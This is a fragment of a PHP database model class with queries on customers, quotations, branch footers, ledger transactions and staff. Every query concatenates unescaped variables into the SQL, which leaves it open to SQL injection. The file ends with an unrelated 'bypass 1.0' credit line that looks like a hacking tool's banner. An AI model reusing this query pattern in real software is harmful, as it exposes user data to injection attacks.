	      $query=$this->db->query("select * from  placing_slip where customer_id='" . $id . "'and quotation_ref='" . $qref . "'");
	      return $query->result_array();
       }

        function getFooter($table,$field,$value)
       {
            

	   $data=$this->db->query("select ". $field. " from ourbranch ob join customer_account ca on ca.branch_id=ob.id join $table bp on bp.customer_id=ca.customer_id  where bp.id='". $value ."'");
	   $result= $data->row();
	   if($result)
	   {
	      return $result->$field;
	   }
	   else
	   {
	      return "";
	   }
       }

       function checkcustomertransaction($id)
       {
        $code=$this->getSingleFieldValue('customers','code','id',$id);

        $res=$this->db->query("select count(*) as count from gl_trans where account='$code'");

        $result=$res->row();

        $count=$result->count;
        return $count;

       }
       public function getcustomersemployee($id)
       {
        $res=$this->db->query("SELECT max(staffcustomer.date),staffpersonaldetails.name, staffpersonaldetails.employeeid,designation.designation FROM staffcustomer  INNER JOIN staffpersonaldetails
							ON (staffcustomer.staffid = staffpersonaldetails.id) INNER JOIN staffemployeedetails ON (staffemployeedetails.staffid = staffpersonaldetails.id)
							left JOIN designation ON (designation.id = staffemployeedetails.designationid) WHERE (staffcustomer.customerid =". $id .") and staffcustomer.date in (select max(date) from staffcustomer where customerid=$id)");
          return $res->row();        
       }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net